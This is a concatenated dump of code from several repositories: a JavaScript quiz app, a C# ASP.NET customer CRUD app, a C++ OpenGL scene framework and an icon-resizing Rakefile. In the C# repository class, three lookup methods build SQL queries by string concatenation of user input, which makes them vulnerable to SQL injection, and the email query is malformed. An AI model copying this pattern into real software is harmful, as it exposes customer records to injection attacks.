let checkAnswer = e.target.innerText === questionArray[currentQuestion].answer;
checkAnswers(checkAnswer);
incrementQuestion();
});
});
}
// view high score
viewhighScore.addEventListener('click', () => {
(showScore.classList.contains('hide')) ? showScore.classList.remove('hide') : quizSection.classList.add('hide');
// set timer to 0 if user check high score before timer reaches 0 or
// quiz is ccomplete
if (setTime) {
clearInterval(timeLeft = 0);
}
});
// close show score
closeIcon.addEventListener('click', () => {
if (startSection.classList.contains('hide')) {
startSection.classList.remove('hide');
} else {
showScore.classList.add('hide');
quizSection.classList.add('hide');
}
btnStart.innerText = 'View high score';
})
// render score
function quizScore() {
let quizScore = `${score} / ${questionArray.length}`
let msg = `You got ${score} / ${questionArray.length}`;
localStorage.setItem('quizScore', JSON.stringify(quizScore));
displayMessage.textContent = msg;
return msg;
}
// stop function
function stopTime() {
clearInterval(setTime);
}
// clear buttons
function clearDisplay() {
// clear out btns for the next question
optionBtns.innerHTML = '';
}
// game over
function gameOver() {
// disable buttons when quiz is over or when the timer reaches 0
if (currentQuestion >= lastQuestion || timeLeft <= 0) {
const buttons = document.querySelectorAll("button.btn-option");
for (let i = 0; i < buttons.length; i++) {
const button = buttons[i];
button.disabled = true;
}
// stop time
stopTime();
// show score
quizScore();
}
}
// check answer
function checkAnswers(answer) {
if (answer) {
score++;
displayMessage.textContent = 'Correct';
} else {
// subtract 5s from time left
timeLeft -= 5;
displayMessage.textContent = 'wrong';
}
return answer;
}
// increment question
function incrementQuestion() {
if (currentQuestion < lastQuestion) {
currentQuestion++;
showQuestion();
} else {
gameOver();
}
}
// highscore
function highScore() {
const input = document.querySelector('#name');
const inputBtn = document.querySelector('#btn');
const userName = document.querySelector('.name');
const userScore = document.querySelector('.score');
inputBtn.addEventListener('click', () => {
let name = input.value;
localStorage.setItem('name', JSON.stringify(name));
// grab username and score from local storage ans append to username and score
userScore.innerText += ` ${JSON.parse(localStorage.getItem('quizScore'))}`;
userName.innerText += ` ${JSON.parse(localStorage.getItem('name'))}`;
});
}
highScore();
|
d465b8a1313008e0ad51136a1f0d5fa88eea8df9
|
[
"JavaScript"
] | 1 |
JavaScript
|
kwabena95/quiz
|
b4503600584a64c8684ba4f9c05f9ab14ce84537
|
022e62cd17d3b9d328195e9e7f0f1c128d2cde3f
|
refs/heads/master
|
<repo_name>sarakhz93/CrudTest<file_sep>/SaraKhezriCrudTest/Controllers/CustomerController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using SaraKhezriCrudTest.Models;
namespace SaraKhezriCrudTest.Controllers
{
public class CustomerController : Controller
{
private ICustomerRepository _customerRepository;
public CustomerController(ICustomerRepository customerRepository)
{
_customerRepository = customerRepository;
}
public IActionResult Index()
{
List<Customer> customers = new List<Customer>();
customers = _customerRepository.GetAllCustomers().ToList();
return View(customers);
}
[HttpGet]
public IActionResult Create()
{
return View();
}
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Create([Bind] Customer customer)
{
Customer customerWithDuplicateEmail = _customerRepository.GetCustomerDataWithEmail(customer.Email);
if (customerWithDuplicateEmail != null)
{
return Forbid();
}
Customer duplicateCustomer = _customerRepository.GetCustomerDataWithNameAndDOB(customer.FirstName, customer.LastName, customer.DateOfBirth);
if (duplicateCustomer != null)
{
return Forbid();
}
if (ModelState.IsValid)
{
_customerRepository.AddCustomer(customer);
return RedirectToAction("Index");
}
return View(customer);
}
[HttpGet]
public IActionResult Edit(int? id)
{
if (id == null)
{
return NotFound();
}
Customer customer = _customerRepository.GetCustomerData(id);
if (customer == null)
{
return NotFound();
}
return View(customer);
}
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Edit(int id, [Bind]Customer customer)
{
Customer customerWithDuplicateEmail = _customerRepository.GetCustomerDataWithEmail(customer.Email);
if(customerWithDuplicateEmail != null)
{
return Forbid();
}
Customer duplicateCustomer = _customerRepository.GetCustomerDataWithNameAndDOB(customer.FirstName, customer.LastName, customer.DateOfBirth);
if (duplicateCustomer != null)
{
return Forbid();
}
if (id != customer.Id)
{
return NotFound();
}
if (ModelState.IsValid)
{
_customerRepository.UpdateCustomer(customer);
return RedirectToAction("Index");
}
return View(customer);
}
[HttpGet]
public IActionResult Details(int? id)
{
if (id == null)
{
return NotFound();
}
Customer customer = _customerRepository.GetCustomerData(id);
if (customer == null)
{
return NotFound();
}
return View(customer);
}
[HttpGet]
public IActionResult Delete(int? id)
{
if (id == null)
{
return NotFound();
}
Customer customer = _customerRepository.GetCustomerData(id);
if (customer == null)
{
return NotFound();
}
return View(customer);
}
[HttpPost, ActionName("Delete")]
[ValidateAntiForgeryToken]
public IActionResult DeleteConfirmed(int? id)
{
_customerRepository.DeleteCustomer(id);
return RedirectToAction("Index");
}
}
}
<file_sep>/README.md
# CRUD-Test-Web-Application<file_sep>/SaraKhezriCrudTest/Models/ICustomerRepository.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace SaraKhezriCrudTest.Models
{
public interface ICustomerRepository
{
IEnumerable<Customer> GetAllCustomers();
void AddCustomer(Customer customer);
void UpdateCustomer(Customer customer);
Customer GetCustomerData(int? id);
Customer GetCustomerDataWithEmail(string email);
Customer GetCustomerDataWithNameAndDOB(string firstName, string lastName, string DateOfBirth);
void DeleteCustomer(int? id);
}
}
<file_sep>/SaraKhezriCrudTest/Models/CustomerRepository.cs
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Threading.Tasks;
namespace SaraKhezriCrudTest.Models
{
public class CustomerRepository : ICustomerRepository
{
string connectionString = "Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=myTestDB;Data Source=DESKTOP-0RB0HRU\\SQLEXPRESS";
public IEnumerable<Customer> GetAllCustomers()
{
List<Customer> customers = new List<Customer>();
using (SqlConnection con = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand("spGetAllCustomers", con);
cmd.CommandType = CommandType.StoredProcedure;
con.Open();
SqlDataReader sqlDataReader = cmd.ExecuteReader();
while (sqlDataReader.Read())
{
Customer customer = new Customer();
customer.Id = Convert.ToInt32(sqlDataReader["Id"]);
customer.FirstName = sqlDataReader["FirstName"].ToString();
customer.LastName= sqlDataReader["LastName"].ToString();
customer.DateOfBirth = sqlDataReader["DateOfBirth"].ToString();
customer.PhoneNumber= sqlDataReader["PhoneNumber"].ToString();
customer.Email = sqlDataReader["Email"].ToString();
customer.BankAccountNumber = sqlDataReader["BankAccountNumber"].ToString();
customers.Add(customer);
}
con.Close();
}
return customers;
}
public void AddCustomer(Customer customer)
{
using (SqlConnection con = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand("spAddCustomer", con);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@FirstName", customer.FirstName);
cmd.Parameters.AddWithValue("@LastName", customer.LastName);
cmd.Parameters.AddWithValue("@DateOfBirth", customer.DateOfBirth);
cmd.Parameters.AddWithValue("@PhoneNumber", customer.PhoneNumber);
cmd.Parameters.AddWithValue("@Email", customer.Email);
cmd.Parameters.AddWithValue("@BankAccountNumber", customer.BankAccountNumber);
con.Open();
cmd.ExecuteNonQuery();
con.Close();
}
}
public void UpdateCustomer(Customer customer)
{
using (SqlConnection con = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand("spUpdateCustomer", con);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@Id", customer.Id);
cmd.Parameters.AddWithValue("@FirstName", customer.FirstName);
cmd.Parameters.AddWithValue("@LastName", customer.LastName);
cmd.Parameters.AddWithValue("@DateOfBirth", customer.DateOfBirth);
cmd.Parameters.AddWithValue("@PhoneNumber", customer.PhoneNumber);
cmd.Parameters.AddWithValue("@Email", customer.Email);
cmd.Parameters.AddWithValue("@BankAccountNumber", customer.BankAccountNumber);
con.Open();
cmd.ExecuteNonQuery();
con.Close();
}
}
public Customer GetCustomerData(int? id)
{
Customer customer = new Customer();
using (SqlConnection con = new SqlConnection(connectionString))
{
string sqlQuery = "SELECT * FROM tblCustomer WHERE Id= " + id;
SqlCommand cmd = new SqlCommand(sqlQuery, con);
con.Open();
SqlDataReader sqlDataReader = cmd.ExecuteReader();
while (sqlDataReader.Read())
{
customer.Id = Convert.ToInt32(sqlDataReader["Id"]);
customer.FirstName = sqlDataReader["FirstName"].ToString();
customer.LastName = sqlDataReader["LastName"].ToString();
customer.DateOfBirth = sqlDataReader["DateOfBirth"].ToString();
customer.PhoneNumber = sqlDataReader["PhoneNumber"].ToString();
customer.Email = sqlDataReader["Email"].ToString();
customer.BankAccountNumber = sqlDataReader["BankAccountNumber"].ToString();
}
}
return customer;
}
public Customer GetCustomerDataWithEmail(string email)
{
Customer customer = new Customer();
using (SqlConnection con = new SqlConnection(connectionString))
{
string sqlQuery = "SELECT * FROM tblCustomer WHERE Email= " + email;
SqlCommand cmd = new SqlCommand(sqlQuery, con);
con.Open();
SqlDataReader sqlDataReader = cmd.ExecuteReader();
while (sqlDataReader.Read())
{
customer.Id = Convert.ToInt32(sqlDataReader["Id"]);
customer.FirstName = sqlDataReader["FirstName"].ToString();
customer.LastName = sqlDataReader["LastName"].ToString();
customer.DateOfBirth = sqlDataReader["DateOfBirth"].ToString();
customer.PhoneNumber = sqlDataReader["PhoneNumber"].ToString();
customer.Email = sqlDataReader["Email"].ToString();
customer.BankAccountNumber = sqlDataReader["BankAccountNumber"].ToString();
}
}
return customer;
}
public Customer GetCustomerDataWithNameAndDOB(string firstName, string lastName, string DateOfBirth)
{
Customer customer = new Customer();
using (SqlConnection con = new SqlConnection(connectionString))
{
string sqlQuery = "select * from tblCustomer where FirstName = '" + firstName + "' and LastName = '" + lastName + "'and DateOfBirth = '" + DateOfBirth + "'";
SqlCommand cmd = new SqlCommand(sqlQuery, con);
con.Open();
SqlDataReader sqlDataReader = cmd.ExecuteReader();
while (sqlDataReader.Read())
{
customer.Id = Convert.ToInt32(sqlDataReader["Id"]);
customer.FirstName = sqlDataReader["FirstName"].ToString();
customer.LastName = sqlDataReader["LastName"].ToString();
customer.DateOfBirth = sqlDataReader["DateOfBirth"].ToString();
customer.PhoneNumber = sqlDataReader["PhoneNumber"].ToString();
customer.Email = sqlDataReader["Email"].ToString();
customer.BankAccountNumber = sqlDataReader["BankAccountNumber"].ToString();
}
}
return customer;
}
public void DeleteCustomer(int? id)
{
using (SqlConnection con = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand("spDeleteCustomer", con);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@Id", id);
con.Open();
cmd.ExecuteNonQuery();
con.Close();
}
}
}
}
<file_sep>/SaraKhezriCrudTest/Models/Customer.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Threading.Tasks;
namespace SaraKhezriCrudTest.Models
{
public class Customer
{
public int Id { get; set; }
[Required(ErrorMessage = "You must provide a first name")]
public string FirstName { get; set; }
[Required(ErrorMessage = "You must provide a last name")]
public string LastName { get; set; }
[Required(ErrorMessage = "You must provide a date of birth")]
public string DateOfBirth { get; set; }
[Required(ErrorMessage = "You must provide a phone number")]
[RegularExpression(@"^\(?([0-9]{3})\)?[-. ]?([0-9]{3})[-. ]?([0-9]{4})$", ErrorMessage = "Not a valid phone number")]
public string PhoneNumber { get; set; }
[Required(ErrorMessage = "You must provide a email")]
public string Email { get; set; }
[Required(ErrorMessage = "You must provide a bank account number")]
public string BankAccountNumber { get; set; }
}
}
|
f1f605923146eab93988faf0f79e4183ed240af7
|
[
"Markdown",
"C#"
] | 5 |
C#
|
sarakhz93/CrudTest
|
402305d81e7a08847245453d59100c7cc3b9abdd
|
28ad9541304534f5d565c6237356739c05e2dfc6
|
refs/heads/master
|
<repo_name>Electroshockist/Game-programming-5_Assignment-1<file_sep>/Component 2/ComponentFramework/Model.h
#ifndef MODEL_H
#define MODEL_H
#include <vector>
#include "MMath.h"
#include "Mesh.h"
#include <memory>
using namespace MATH;
class Scene;
namespace GAME {
class Model {
protected:
Vec3 pos;
Vec3 vel;
Vec3 orientation;
Vec3 gravity;
Sphere bounding;
Matrix4 modelMatrix;
Scene* parentScene;
std::vector<Mesh*> meshes;
public:
void* parent = nullptr;
inline void SetPos(const Vec3& pos_) { pos = pos_; }
inline void SetVel(const Vec3& vel_) { vel = vel_; }
virtual ~Model() {};
Model(const Model&) = delete;
Model(Model&&) = delete;
Model& operator = (const Model&) = delete;
Model& operator = (Model&&) = delete;
Model() : gravity(0.0f, -9.8f, 0.0f) { };
virtual void SetLightPos(const Vec3&) = 0;
virtual bool OnCreate() = 0;
virtual void OnDestroy() = 0;
virtual void Render(const Matrix4& projectionMatrix, const Matrix4& modelViewMatrix, const Matrix3& normalMatrix)const = 0;
virtual void Update(const float deltaTime) = 0;
std::vector<Mesh*>* getMeshes() {
return &meshes;
}
virtual void rotate2D(const float degrees) = 0;
virtual void rotate3D(const Vec4 quat) = 0;
virtual void move2D(const float x_, const float y_) = 0;
virtual void move3D(const Vec3 direction, const float amount) = 0;
virtual void scale2D(const float amount) = 0;
virtual void scale3D(const Vec3 axis) = 0;
};
} /// end of namespace
#endif<file_sep>/Component 2/ComponentFramework/Primitive.cpp
#include "Primitive.h"
#include "Shader.h"
#include "ObjLoader.h"
#include <iostream>
#include <cassert>
Primitive::Primitive(GLenum drawmode_, std::vector<Vec3> *vertices_, std::vector<Vec3> *normals_, std::vector<Vec2> *uvs_) {
meshes.push_back(new Mesh(drawmode_, *vertices_, *normals_, *uvs_));
OnCreate();
}
Primitive::Primitive(const char* filepath) {
ObjLoader obj(filepath);
meshes.push_back(new Mesh(GL_TRIANGLES, obj.vertices, obj.normals, obj.uvCoords));
OnCreate();
}
Primitive::~Primitive() {
}
bool Primitive::OnCreate() {
shader = new GAME::Shader("phongVert.glsl", "phongFrag.glsl", 3, 0, "vVertex", 1, "vNormal", 2, "texCoords");
projectionMatrixID = glGetUniformLocation(shader->getProgram(), "projectionMatrix");
modelViewMatrixID = glGetUniformLocation(shader->getProgram(), "modelViewMatrix");
normalMatrixID = glGetUniformLocation(shader->getProgram(), "normalMatrix");
lightPosID = glGetUniformLocation(shader->getProgram(), "lightPos");
modelMatrix = center();
translationMatrix = MMath::translate(0.0f, 0.0f, 0.0f);
rotationMatrix = MMath::translate(0.0f, 0.0f, 0.0f);
transformationMatrix = MMath::translate(0.0f, 0.0f, 0.0f);
scaleMatrix = Matrix4(1.0f);
scaleFactor = kDefaultScaleFactor;
isDirty = true;
return true;
}
Matrix4 Primitive::center() {
auto first = meshes[0];
auto temp = Vec3(0.0f, 0.0f, 0.0f);
for (auto vector : first->vertices) {
temp = temp + vector;
}
temp = temp / (first->vertices.size() * 1.0f);
return MMath::translate(-temp.x, -temp.y, -temp.z);
}
void Primitive::addChild(Primitive* child) {
children.push_back(child);
child->parent = this;
}
//void Primitive::addChild(Primitive* child) {
// children.push_back(*child);
//}
void Primitive::OnDestroy() {
glDeleteBuffers(1, &vbo);
if (shader) delete shader;
for (Mesh* mesh : meshes) {
if (mesh) delete mesh;
}
}
void Primitive::Update(const float deltaTime) {
/// Code your physics below
}
void Primitive::Render(const Matrix4& projectionMatrix, const Matrix4& viewMatrix, const Matrix3& normalMatrix) const {
Matrix4 resultModelMatrix;
if (parent != nullptr) {
resultModelMatrix = static_cast<Primitive*>(parent)->modelMatrix * modelMatrix;
}
else resultModelMatrix = modelMatrix;
glUseProgram(shader->getProgram());
glUniformMatrix4fv(projectionMatrixID, 1, GL_FALSE, projectionMatrix);
glUniformMatrix4fv(modelViewMatrixID, 1, GL_FALSE, viewMatrix * resultModelMatrix * transformationMatrix);
glUniformMatrix3fv(normalMatrixID, 1, GL_FALSE, normalMatrix);
glUniform3fv(lightPosID, 1, lightPos);
for (auto mesh : meshes) {
mesh->Render();
}
glEnableVertexAttribArray(0);
}
void Primitive::updateTransformationMatrix2D() {
transformationMatrix = rotationMatrix * MMath::scale(scaleFactor * 1.0f, scaleFactor * 1.0f, 1.0f) * translationMatrix;
}
void Primitive::updateTransformationMatrix3D() {
transformationMatrix = rotationMatrix * scaleMatrix * translationMatrix;
}
void Primitive::SetLightPos(const Vec3& lightPos_) {
lightPos = lightPos_;
}
void Primitive::rotate2D(float degrees) {
rotationMatrix = rotationMatrix * MMath::rotate(degrees, 0.0f, 0.0f, 1.0f);
updateTransformationMatrix2D();
}
void Primitive::rotate3D(const Vec4 axis) {
// TODO: implement with quaternion math
}
void Primitive::move2D(const float x_, const float y_) {
translationMatrix = translationMatrix * MMath::translate(x_, y_, 0.0f);
updateTransformationMatrix2D();
}
void Primitive::move3D(Vec3 direction, float amount) {
translationMatrix = translationMatrix * MMath::translate(direction.x * amount, direction.y * amount, direction.z * amount);
updateTransformationMatrix3D();
}
void Primitive::scale2D(float amount) {
assert(amount != 0);
if (amount > 0) {
scaleFactor = scaleFactor * amount;
updateTransformationMatrix2D();
return;
}
scaleFactor = scaleFactor / (amount *-1.0f);
updateTransformationMatrix2D();
}
void Primitive::scale3D(const Vec3 axis) {
scaleMatrix = MMath::scale(axis.x, axis.y, axis.z);
}<file_sep>/Component 2/ComponentFramework/Scene0.cpp
#include <GL/glew.h>
#include <SDL.h>
#include "Scene0.h"
#include <iostream>
#include "MMath.h"
#include "QuadSphere.h"
#include "Primitive.h"
#include "Trackball.h"
#include "Skull.h"
#include "Horn.h"
using namespace GAME;
using namespace MATH;
const float drawDistance = 100.0f;
const float fieldOfView = 45.0f;
const float nearClippingPlane = 1.0f;
const std::string skull = "Skull.obj";
const std::string horn = "Horn.obj";
const float kScaleFactor = 1.05f;
const float kMoveFactor = 0.25f;
const float kRotationFactor = 5.0f;
Skull* skullModel = new Skull();
Horn* hornModel = new Horn();
Scene0::Scene0(class Window& windowRef): Scene(windowRef){
trackball = new Trackball();
sceneGraph = std::make_unique<std::map<std::string, Model *>>(std::map<std::string, Model *>());
projectionMatrix.loadIdentity();
viewMatrix.loadIdentity();
glEnable(GL_DEPTH_TEST);
glEnable(GL_CULL_FACE);
}
Scene0::~Scene0(){
OnDestroy();
}
bool Scene0::OnCreate() {
//hornModel->SetPos(Vec3(0, 10, 0));
//skullModel->addChild(hornModel);
OnResize(windowPtr->GetWidth(),windowPtr->GetHeight());
/// Load Assets: as needed
lightPos = Vec3(10.0f, 3.0f, 10.0f);
sceneGraph->insert(std::make_pair(skull, skullModel));
sceneGraph->insert(std::make_pair(horn, hornModel));
return true;
}
void Scene0::OnResize(int w_, int h_){
windowPtr->SetWindowSize(w_,h_);
glViewport(0,0,windowPtr->GetWidth(),windowPtr->GetHeight());
float aspect = float(windowPtr->GetWidth()) / float(windowPtr->GetHeight());
projectionMatrix = MMath::perspective(fieldOfView, aspect, nearClippingPlane, drawDistance);
viewMatrix = MMath::lookAt(Vec3(0.0f, 0.0f, 10.0f),
Vec3(0.0f, 0.0f, 0.0f),
Vec3(0.0f, 1.0f, 0.0f));
}
void Scene0::OnDestroy(){
/// Cleanup Assets
if(trackball) delete trackball;
trackball = nullptr;
}
void Scene0::Update(const float deltaTime){
Model* modelSkull = sceneGraph->at(skull);
Model* modelHorn = sceneGraph->at(horn);
modelSkull->Update(deltaTime);
modelHorn->Update(deltaTime);
}
void Scene0::Render() const{
/// Draw your scene here
glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );
glLoadIdentity();
/// draw code here
for (auto& pair : *sceneGraph) {
Model *model = pair.second;
model->SetLightPos(viewMatrix * lightPos);
model->Render(projectionMatrix, trackball->GetMatrix4() * viewMatrix, trackball->GetMatrix3());
}
/// swap double buffer
SDL_GL_SwapWindow(windowPtr->getSDLWindow());
}
void Scene0::HandleEvents(const SDL_Event& SDLEvent){
auto triangle0 = sceneGraph->at(skull);
if (SDLEvent.type == SDL_EventType::SDL_KEYDOWN) {
switch (SDLEvent.key.keysym.sym) {
case SDLK_q:
triangle0->rotate2D(kRotationFactor);
break;
case SDLK_e:
triangle0->rotate2D(-kRotationFactor);
break;
case SDLK_w:
triangle0->move2D(0.0f, 1.0f * kMoveFactor);
break;
case SDLK_s:
triangle0->move2D(0.0f, -1.0f * kMoveFactor);
break;
case SDLK_a:
triangle0->move2D(-1.0f * kMoveFactor, 0.0f);
break;
case SDLK_d:
triangle0->move2D(1.0f * kMoveFactor, 0.0f);
break;
case SDLK_z:
triangle0->scale2D(kScaleFactor);
break;
case SDLK_x:
triangle0->scale2D(-kScaleFactor);
break;
}
}
}<file_sep>/Component 2/ComponentFramework/Horn.h
#pragma once
#include "Primitive.h"
class Horn : public Primitive
{
public:
Horn() : Primitive("horn.obj") {}
};
<file_sep>/Component 2/ComponentFramework/Primitive.h
#pragma once
#include "Model.h"
#include <memory>
#include "Shader.h"
#include <vector>
using namespace GAME;
class Primitive :public Model {
public:
Primitive(GLenum drawmode_, std::vector<Vec3> *vertices_, std::vector<Vec3> *normals_, std::vector<Vec2> *uvs_);
Primitive(const char* filePath);
std::vector<Model*> children;
Primitive();
Primitive(const Primitive&) = delete;
Primitive(Primitive&&) = delete;
Primitive& operator = (const Primitive&) = delete;
Primitive& operator = (Primitive&&) = delete;
virtual bool OnCreate();
virtual void OnDestroy();
virtual void Update(const float deltaTime);
virtual void Render(const Matrix4& projectionMatrix, const Matrix4& modelViewMatrix, const Matrix3& normalMatrix) const;
virtual ~Primitive();
void SetLightPos(const Vec3&);
void rotate2D(const float degrees);
void rotate3D(const Vec4 quat);
void move2D(const float x_, const float y_);
void move3D(const Vec3 direction, const float amount);
void scale2D(const float amount);
void scale3D(const Vec3 axis);
void addChild(Primitive* child);
private:
GAME::Shader *shader;
GLuint vbo;
GLuint vao;
GLint verticiesID;
GLint normalsID;
GLint uvCoordsID;
GLint projectionMatrixID;
GLint modelViewMatrixID;
GLint normalMatrixID;
GLint lightPosID;
Vec3 lightPos;
Matrix4 rotationMatrix;
Matrix4 translationMatrix;
Matrix4 scaleMatrix;
Matrix4 transformationMatrix;
float scaleFactor;
bool isDirty = true;
Matrix4 center();
void updateTransformationMatrix2D();
void updateTransformationMatrix3D();
};<file_sep>/Component 2/ComponentFramework/Skull.h
#pragma once
#include "Primitive.h"
class Skull : public Primitive
{
public:
Skull() : Primitive("skull.obj") {}
};
|
a354dd22d0904fe074a4da27341f383f7d3b6f84
|
[
"C++"
] | 6 |
C++
|
Electroshockist/Game-programming-5_Assignment-1
|
527908f3b239abf1f34100944205b9eef958f305
|
36a4a189b3ca0f43b2754d125754388fa64e16db
|
refs/heads/main
|
<file_sep>n = 9
board = []
for i in range(n):
l = [int(x) for x in input().split(" ")]
board.append(l)
# board[0][0] = 2
def subgrid(board, row, col, x):
rowl = rowu = coll = colu = 0
if row >= 0 and row <= 2:
rowl = 0
rowu = 2
elif row >= 3 and row <= 5:
rowl = 3
rowu = 5
else:
rowl = 6
rowu = 8
if col >= 0 and col <= 2:
coll = 0
colu = 2
elif col >= 3 and col <= 5:
coll = 3
coll = 5
else:
coll = 6
colu = 8
for r in range(rowl, rowu+1):
for c in range(coll, colu+1):
if r == row and c == col:
continue
if board[r][c] == x:
return True
return False
def issafe(board, row, col, x):
for j in range(n):
if j == col:
continue
if board[row][j] == x:
return False
for j in range(n):
if j == row:
continue
if board[j][col] == x:
return False
if subgrid(board, row, col, x):
return False
return True
def sudoku(board, row, col):
if col >= n:
row = row+1
col = 0
if row >= n or col >= n:
return True
if board[row][col] > 0:
return sudoku(board, row, col+1)
for i in range(1, 10):
if issafe(board, row, col, i):
board[row][col] = i
if sudoku(board, row, col+1) == True:
return True
board[row][col] = 0
return False
sudoku(board, 0, 0)
for i in range(n):
for j in range(n):
print(board[i][j], end=" ")
print()
|
0f4d114c7693fc0c5c377e33c2a0e142d2bab47b
|
[
"Python"
] | 1 |
Python
|
Sourav5705/Sudoku-Game
|
93e29d6427cf72b4383b8049e07755dab57f688e
|
6503b18346c287d663a44792f93f8089cb64fe17
|
refs/heads/master
|
<repo_name>10kkrishr/Twitterish<file_sep>/README.md
# Twitterish
This is a sample twitter like application. I have used Spring boot, Hibernate, JPA and SQLlite.
I have created a session for Testuser2 with the following token "<PASSWORD>" that should be passed in the Authorization header
Api route : http://localhost:9080/feed
Header: Authorization <PASSWORD>
<file_sep>/src/main/resources/application.properties
app.name=Twitter App
server.port=9080
spring.jpa.database-platform=com.twitterish.myapp.config.SQLiteDialect
spring.jpa.hibernate.ddl-auto=validate
spring.jpa.show-sql=true
spring.jpa.hibernate.naming-strategy=org.hibernate.cfg.EJB3NamingStrategy<file_sep>/src/main/java/com/twitterish/myapp/exception/UserNotFoundException.java
package com.twitterish.myapp.exception;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.ResponseStatus;
@ResponseStatus(value = HttpStatus.UNAUTHORIZED, reason = "User was not found in the system")
public class UserNotFoundException extends Exception {
private static final long serialVersionUID = 100L;
}
<file_sep>/src/test/java/com/twitterish/myapp/service/FeedServiceImplTest.java
package com.twitterish.myapp.service;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.runners.MockitoJUnitRunner;
import org.springframework.data.domain.PageRequest;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.twitterish.myapp.exception.UserNotFoundException;
import com.twitterish.myapp.model.Followers;
import com.twitterish.myapp.model.Session;
import com.twitterish.myapp.model.Tweet;
import com.twitterish.myapp.repository.FollowerRepository;
import com.twitterish.myapp.repository.SessionRepository;
import com.twitterish.myapp.repository.TweetRepository;
@RunWith(MockitoJUnitRunner.class)
public class FeedServiceImplTest {
@InjectMocks
FeedServiceImpl feedServiceImpl;
@Mock
SessionRepository sessionRepository;
@Mock
FollowerRepository followerRepository;
@Mock
TweetRepository tweetRepository;
@Test
public void testFeedInvalidUser_ThrowsException() {
try {
Mockito.when(sessionRepository.findBySessionToken("123")).thenReturn(null);
feedServiceImpl.findTweetsByFollower("123");
} catch (UserNotFoundException e) {
assertNotNull(e);
}
}
@Test
public void testFeedValidUser_EmptyUserList() {
try {
Session session = Mockito.mock(Session.class);
List<Followers> followedUsers = new ArrayList<Followers>();
Mockito.when(sessionRepository.findBySessionToken("123")).thenReturn(session);
Mockito.when(session.getUsername()).thenReturn("Testuser2");
Mockito.when(followerRepository.findByFollower(session.getUsername())).thenReturn(followedUsers);
List<Tweet> tweetList = feedServiceImpl.findTweetsByFollower("123");
assertEquals(0, tweetList.size());
} catch (Exception e) {
fail("Error executing test");
}
}
@Test
public void testFeedValidUser_ReturnsTweets() {
try {
Session session = Mockito.mock(Session.class);
List<Followers> followedUsers = new ArrayList<Followers>();
Followers follower = new Followers();
follower.setId(1000);
follower.setUsername("TestUser1");
follower.setFollower("Testuser2");
followedUsers.add(follower);
ArrayList<String> userList = new ArrayList<String>();
userList.add("TestUser1");
ObjectMapper mapper = new ObjectMapper();
List<Tweet> tweetList = mapper.readValue(new File("./src/test/resources/mockdata/tweets.json"), List.class);
Mockito.when(sessionRepository.findBySessionToken("123")).thenReturn(session);
Mockito.when(session.getUsername()).thenReturn("Testuser2");
Mockito.when(followerRepository.findByFollower(session.getUsername())).thenReturn(followedUsers);
Mockito.when(tweetRepository.findByUserList(userList, new PageRequest(0, 100))).thenReturn(tweetList);
List<Tweet> actualTweetList = feedServiceImpl.findTweetsByFollower("123");
assertEquals(tweetList, actualTweetList);
} catch (Exception e) {
fail("Error executing test");
}
}
}
<file_sep>/src/main/java/com/twitterish/myapp/model/Tweet.java
package com.twitterish.myapp.model;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.OneToOne;
import javax.persistence.Table;
@Entity
@Table(name = "Tweets")
public class Tweet {
private String Content;
private Integer Id;
private String Timestamp;
private Employee employee;
@OneToOne
@JoinColumn(name = "Username")
public Employee getEmployee() {
return employee;
}
public void setEmployee(Employee employee) {
this.employee = employee;
}
public String getContent() {
return Content;
}
public void setContent(String content) {
Content = content;
}
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
public Integer getId() {
return Id;
}
public void setId(Integer id) {
Id = id;
}
public String getTimestamp() {
return Timestamp;
}
public void setTimestamp(String timestamp) {
Timestamp = timestamp;
}
}
|
1cf8a20815d9ae73cf87cfd738f96cff794757bb
|
[
"Markdown",
"Java",
"INI"
] | 5 |
Markdown
|
10kkrishr/Twitterish
|
f4c337bc946b2060b02a402c914beb7c7b34eca9
|
5753e23dcd54a433aefa93655b7c2017b933621d
|
refs/heads/master
|
<file_sep># Copyright 2016 <<EMAIL>>. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
task :default do
puts "make default"
end
# 生成图标
task :logo do
Dir.chdir '.' do
sh 'convert -resize 29x29 [email protected] ./output/[email protected]'
sh 'convert -resize 40x40 [email protected] ./output/[email protected]'
sh 'convert -resize 60x60 [email protected] ./output/[email protected]'
sh 'convert -resize 58x58 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 80x80 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 120x120 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 87x87 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 120x120 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 180x180 [email protected] ./output/yjyy-icon@[email protected]'
sh 'convert -resize 76x76 [email protected] ./output/[email protected]'
sh 'convert -resize 152x152 [email protected] ./output/yjyy-icon@[email protected]'
